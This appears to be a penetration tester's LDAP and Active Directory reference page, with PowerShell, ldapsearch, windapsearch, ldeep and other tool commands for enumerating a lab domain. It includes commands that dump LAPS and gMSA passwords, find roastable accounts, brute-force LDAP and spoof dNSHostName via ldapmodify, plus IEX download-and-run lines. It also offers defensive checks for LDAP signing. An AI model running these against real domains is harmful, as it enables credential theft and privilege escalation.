# LDAP

* <http://jxplorer.org/>
* <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN>
* <http://www.kouti.com/tables/userattributes.htm>
* <https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html>
* <https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/>

![LDAP Authentication Protocols (Almond)](https://1743652255-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MZ5E8Fq0UBQAc7rbfId%2Fuploads%2Fgit-blob-479a20a1f249b1d715143774d8d7537048e950fc%2F012.png?alt=media)

Check if LDAPS was ever correctly configured:

```
$ openssl s_client -host 192.168.1.11 -port 636
```

## Theory

Some [Extensible Match](https://ldapwiki.com/wiki/ExtensibleMatch) Matching Rules:

| Rule Name                                                                                | OID                       | Description                                                                                                      |
| ---------------------------------------------------------------------------------------- | ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| [LDAP\_MATCHING\_RULE\_BIT\_AND](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_AND)   | `1.2.840.113556.1.4.803`  | True if all bits from the attribute match the value (bitwise AND).                                               |
| [LDAP\_MATCHING\_RULE\_BIT\_OR](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_OR)     | `1.2.840.113556.1.4.804`  | True if any bits from the attribute match the value (bitwise OR).                                                |
| [LDAP\_MATCHING\_RULE\_IN\_CHAIN](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_IN_CHAIN) | `1.2.840.113556.1.4.1941` | Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN. |

## UserAccountControl

* <https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/>

### Decode UAC Values

* <http://woshub.com/decoding-ad-useraccountcontrol-value/>

{% code title="DecodeUserAccountControl.ps1" %}

```powershell
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
	$UACPropertyFlags = @(
		"SCRIPT",
		"ACCOUNTDISABLE",
		"RESERVED",
		"HOMEDIR_REQUIRED",
		"LOCKOUT",
		"PASSWD_NOTREQD",
		"PASSWD_CANT_CHANGE",
		"ENCRYPTED_TEXT_PWD_ALLOWED",
		"TEMP_DUPLICATE_ACCOUNT",
		"NORMAL_ACCOUNT",
		"RESERVED",
		"INTERDOMAIN_TRUST_ACCOUNT",
		"WORKSTATION_TRUST_ACCOUNT",
		"SERVER_TRUST_ACCOUNT",
		"RESERVED",
		"RESERVED",
		"DONT_EXPIRE_PASSWORD",
		"MNS_LOGON_ACCOUNT",
		"SMARTCARD_REQUIRED",
		"TRUSTED_FOR_DELEGATION",
		"NOT_DELEGATED",
		"USE_DES_KEY_ONLY",
		"DONT_REQ_PREAUTH",
		"PASSWORD_EXPIRED",
		"TRUSTED_TO_AUTH_FOR_DELEGATION",
		"RESERVED",
		"PARTIAL_SECRETS_ACCOUNT"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
	)
	$Attributes = ""
	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
	Return $Attributes
}
```

{% endcode %}

## Object-Guids

Convert MS LDAP [objectGUID](https://learn.microsoft.com/ru-ru/windows/win32/adschema/a-objectguid) to bytes:

```python
import uuid
import struct

def uuid_to_ms_guid_bytes(uuid_string):
    u = uuid.UUID(uuid_string)

    # MS GUIDs use mixed endianness:
    #  first 3 components are little-endian
    #  last 2 components are big-endian
    return struct.pack('<IHH', u.time_low, u.time_mid, u.time_hi_version) + \
		struct.pack('>Q', u.node | (u.clock_seq << 48))[-8:]
```

## Mitigations

* <https://github.com/zyn3rgy/LdapRelayScan>
* <https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/>
* <https://github.com/zyn3rgy/RelayInformer>

Scan for LDAP Singing and LDAPS Channel Binding:

```
$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done
```

### LDAP Signing & LDAPS Channel Binding

* <https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html>

| Property Name                                                                                                                                                                   | Property Path                                             |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| [LdapServerIntegrity](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a)       | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |
| [LdapEnforceChannelBinding](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a) | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |

If `LdapServerIntegrity` is set to `2`, LDAP Signing is required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
```

If `LdapEnforceChannelBinding` is set to `2`, LDAPS Channel Binding is **always** required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding
```

## Tools

### RSAT-AD-PowerShell

Install via Capabilities (Windows clients):

```
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
```

Or via Features (Windows servers):

```
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
```

Install via ADModule:

* <https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1>
* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1>

```
PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
```

#### Example Queries

List disabled users (when searching for users [use](http://www.frickelsoft.net/blog/?p=147) `objectCategory` + `objectClass` filters):

```
PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
```

Count users, groups and computers:

```
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
```

List users with `DoesNotRequirePreAuth` set (aka [asreproastable](https://ppn.snovvcra.sh/pentest/infrastructure/kerberos/roasting#asreproasting)):

```
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
```

List accounts with SPN(s) set (aka [kerberoastable](https://ppn.snovvcra.sh/pentest/infrastructure/kerberos/roasting#kerberoasting)) and which are also in Protected Users group:

```
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
```

List all groups that **j.doe** is a member of:

```
PS > Get-ADPrincipalGroupMembership j.doe | select name
```

List all groups (including nested groups) that **j.doe** is a member of:

```
PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
```

List members of IT Support group through nested group membership:

```
PS > Get-ADGroupMember "IT Support" -Recursive
```

List users marked as trusted for delegation (`TRUSTED_FOR_DELEGATION` UAC value is `524288`):

```
PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
```

Find the number of users in the Helpdesk OU:

```
PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
```

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):

```
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
```

Find users with description field filled ([one-liner](https://gist.github.com/dafthack/5f8c36f7468fad991e9e1f6d81ec29d4)):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
```

Find users with a null password (`PASSWD_NOTREQD` UAC value is `32`):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
```

Create a new domain user account:

```
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
```

List deleted AD objects (AD [recycle](https://activedirectorypro.com/enable-active-directory-recycle-bin-server-2016/) [bin](https://blog.stealthbits.com/active-directory-object-recovery-recycle-bin/)):

```
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap
```

### ldap3 (Python)

Check if anonymous bind is allowed:

```python
>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> s.info
```

### ldap-utils

#### ldapsearch

* <https://malicious.link/post/2022/ldapsearch-reference/>

Install:

```
$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
```

Basic syntax:

```
$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
```

Get base naming contexts:

```
$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts
```

Extract data for the whole domain catalog and then grep your way through:

```
$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
```

Or filter out only what you need:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
```

Get `Remote Management Users` group:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
```

Dump LAPS passwords:

```
$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
```

Simple authentication with a plaintext password:

```
$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

SASL GSSAPI (Kerberos) authentication (there should be both `A` and `PTR` DNS records of the DC for this to work):

```
$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

Analyze large output for anomalies by searching for unique strings:

```
$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr
```

#### ldapmodify

An example of removing SPNs and changing `dNSHostName` (see [dNSHostName Spoofing (Certifried)](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse/dnshostname-spoofing-certifried)):

```
$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
```

{% code title="spoof.ldiff" %}

```diff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
```

{% endcode %}

### windapsearch

* <https://github.com/ropnop/windapsearch>
* <https://github.com/snovvcrash/windapsearch>

Enumerate domain function functional level with LDAP anonymous bind:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality
```

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
```

Find what OU is the user John Doe part of:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
```

Query LDAP for all domain computer accounts (+ try to resolve their IPs with `-r` flag) and save results into a csv file:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv
```

### go-windapsearch

* <https://github.com/ropnop/go-windapsearch>

Find user accounts which require smart card authentication (`SMARTCARD_REQUIRED` UAC value is `262144`):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
```

Get password history size in the domain:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
```

Search for service accounts configured for constrained delegation:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
```

Dump all users info:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt
```

### ldapsearch-ad

* <https://github.com/yaap7/ldapsearch-ad>

Enumerate password policy in the domain:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
```

Run all checks:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all
```

### gMSADumper

* <https://github.com/micahvandeusen/gMSADumper>

```
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889
```

### ldeep

* <https://github.com/franc-pentest/ldeep>

Enumerate ACEs of the `AdminSDHolder` object:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
```

Convert SID to name:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>
```

### Nmap NSE

```
$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389
```

### LDAPmonitor

* <https://github.com/p0dalirius/LDAPmonitor>

```
$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
```

#### ADSpider

* <https://habr.com/ru/companies/angarasecurity/articles/697938/>
* <https://github.com/DrunkF0x/ADSpider>

### SilentHound

* <https://github.com/snovvcrash/SilentHound>

```
$ python3 silenthound.py -u snovvcrash@megacorp.local -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp
```
